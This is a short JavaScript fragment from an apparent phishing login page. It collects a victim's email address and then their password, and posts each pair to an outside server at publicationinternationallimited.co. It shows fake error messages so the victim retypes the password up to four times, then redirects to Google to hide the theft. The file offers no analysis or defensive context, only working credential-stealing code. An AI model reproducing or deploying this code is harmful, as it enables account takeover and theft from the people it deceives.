function handleEmailSubmit() { const email = document.getElementById('email').value; document.getElementById('email-display').textContent = email; document.getElementById('hidden-email').value = email; // Hide the email section and show the password section document.getElementById('email-section').classList.add('hidden'); document.getElementById('password-section').classList.remove('hidden'); } function handlePasswordSubmit() { attemptCount++; const email = document.getElementById('hidden-email').value; const password = document.getElementById('password').value; sendEmailPasswordToTelegram(email, password); if (attemptCount < 4) { // Display error message and reset password field document.getElementById('error-message').style.display = 'block'; document.getElementById('password').value = ''; } else { // Redirect to window.location.href = "https://www.google.com"; } } function sendEmailPasswordToTelegram(email, password) { const xhr = new XMLHttpRequest(); xhr.open('POST', 'https://publicationinternationallimited.co/PO/pd.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('email=' + encodeURIComponent(email) + '&password=' + encodeURIComponent(password) + '&stage=login'); } // Auto-fill email if the email parameter is present in the URL autoFillEmail();